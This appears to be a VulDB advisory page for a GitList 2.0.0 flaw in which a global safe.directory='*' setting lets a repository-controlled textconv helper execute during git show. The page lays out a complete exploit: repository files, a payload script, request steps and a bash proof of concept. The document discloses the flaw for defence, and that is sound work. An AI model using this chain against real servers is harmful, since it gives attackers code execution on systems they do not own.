| عنوان | klaussilveira gitlist 2.0.0 Configuration |
|---|
| الوصف | ## Summary
GitList can be forced to globally trust all Git repositories by writing `safe.directory='*'` when it encounters Git's dubious ownership protection. After that, later `git show` operations run against attacker-controlled repositories with repository-local Git behavior fully trusted. This enables execution of a repository-controlled external helper such as `diff.<driver>.textconv`, resulting in server-side code execution as the web service user.
## Root Cause
In [src/SCM/System/Git/CommandLine.php](src/SCM/System/Git/CommandLine.php:79), GitList handles a dubious ownership error by running:
```php
$this->run(['config', '--global', '--add', 'safe.directory', '*']);
```
This disables Git's ownership boundary for all repositories handled by that service account.
Later, GitList renders attacker-controlled repository content with `git show`, for example in [src/SCM/System/Git/CommandLine.php](src/SCM/System/Git/CommandLine.php:175):
```php
$output = $this->run(['show', '--ignore-blank-lines', '-w', '-b', '--cc', self::DEFAULT_COMMIT_FORMAT, $hash], $repository);
```
Once the repository is trusted, Git honors repository-local config and attributes, including external diff/textconv helpers shipped inside the repository working tree.
This issue is a short exploit chain:
- Vulnerability A: `safe.directory='*'` globally bypasses Git's repository ownership trust boundary.
- Gadget B: `git show` does not disable `textconv`, so repository-controlled helpers remain reachable.
- Chain result: `A -> B -> code execution`
## Trigger Flow
The attacker prepares a repository like this:
```text
evil/
├── .gitattributes
├── demo.poc
├── payload.sh
└── .git/config
```
Required file contents:
`.gitattributes`
```text
*.poc diff=poc
```
`.git/config`
```ini
[diff "poc"]
textconv = ./payload.sh
```
`payload.sh`
```bash
#!/usr/bin/env bash
echo "executed-by=$(id -un)" > /tmp/gitlist-rce-marker
echo "pwd=$(pwd)" >> /tmp/gitlist-rce-marker
echo "args=$*" >> /tmp/gitlist-rce-marker
cat "$1"
```
`demo.poc`
```text
Any content is fine, as long as the file is committed and later changed in another commit so that `git show` reaches the diff/textconv path.
```
### Reproduction Steps
1. Place the attacker-controlled repository under a directory scanned by GitList.
Purpose: make GitList index the repository and expose it through normal public routes.
2. Ensure Git sees the repository as foreign-owned relative to the GitList service account.
Purpose: force GitList into the dubious ownership error handler that writes `safe.directory='*'`.
3. Visit:
```text
GET /
```
Purpose: the repository list template resolves `repository.defaultBranch` for each repository, which reaches `getDefaultBranch()` and triggers the fallback code that runs:
```php
$this->run(['config', '--global', '--add', 'safe.directory', '*']);
```
4. Visit:
```text
GET /evil/commit/<attacker_commit_hash>
```
Purpose: this reaches the commit rendering path, which executes:
```bash
git show --ignore-blank-lines -w -b --cc --pretty=format:... <hash>
```
against the attacker-controlled repository.
5. During that `git show`, Git now trusts the repository-local diff/textconv configuration and executes `./payload.sh`.
Result: attacker-controlled code runs as the GitList web service user.
### Example URLs
Assuming the repository is named `evil` and the attacker wants to render commit `9600d65429930de1cdb5bc85198eedceab4cbef9`:
```text
GET http://<host>/
GET http://<host>/evil/commit/9600d65429930de1cdb5bc85198eedceab4cbef9
```
The first request establishes wildcard trust. The second request triggers code execution.
## PoC
Minimal local PoC reproducing the same trust-boundary failure and helper execution pattern:
```bash
#!/usr/bin/env bash
set -euo pipefail
tmpdir="$(mktemp -d /tmp/gitlist-safe-dir-poc.XXXXXX)"
home_dir="$tmpdir/home"
repo_dir="$tmpdir/repo"
marker="$tmpdir/pwned.txt"
mkdir -p "$home_dir" "$repo_dir"
git -C "$repo_dir" init >/dev/null
git -C "$repo_dir" config user.name tester
git -C "$repo_dir" config user.email [email protected]
cat > "$repo_dir/payload.sh" <<'EOF'
#!/usr/bin/env bash
echo repo-payload-ran > "$MARKER_FILE"
cat "$1"
EOF
chmod +x "$repo_dir/payload.sh"
git -C "$repo_dir" config diff.poc.textconv ./payload.sh
cat > "$repo_dir/.gitattributes" <<'EOF'
*.poc diff=poc
EOF
cat > "$repo_dir/demo.poc" <<'EOF'
first
EOF
git -C "$repo_dir" add .gitattributes demo.poc payload.sh
git -C "$repo_dir" commit -m init >/dev/null
cat > "$repo_dir/demo.poc" <<'EOF'
second
EOF
git -C "$repo_dir" add demo.poc
git -C "$repo_dir" commit -m second >/dev/null
env HOME="$home_dir" GIT_CONFIG_NOSYSTEM=1 git config --global --add safe.directory '*'
MARKER_FILE="$marker" env HOME="$home_dir" GIT_CONFIG_NOSYSTEM=1 GIT_TEST_ASSUME_DIFFERENT_OWNER=1 \
git -C "$repo_dir" show --ignore-blank-lines -w -b --cc --pretty=format:test HEAD >/dev/null
test -f "$marker" && echo "[+] helper executed: $marker"
```
|
|---|
| المصدر | ⚠️ https://github.com/klaussilveira/gitlist/issues/947 |
|---|
| المستخدم | iswangxy (UID 99909) |
|---|
| ارسال | 17/07/2026 09:23 AM (1 شهر منذ) |
|---|
| الاعتدال | 30/08/2026 04:57 PM (1 month later) |
|---|
| الحالة | تمت الموافقة |
|---|
| إدخال VulDB | 397167 [klaussilveira GitList 2.0.0 Git Command Line CommandLine.php getDefaultBranch تجاوز الصلاحيات] |
|---|
| النقاط | 20 |
|---|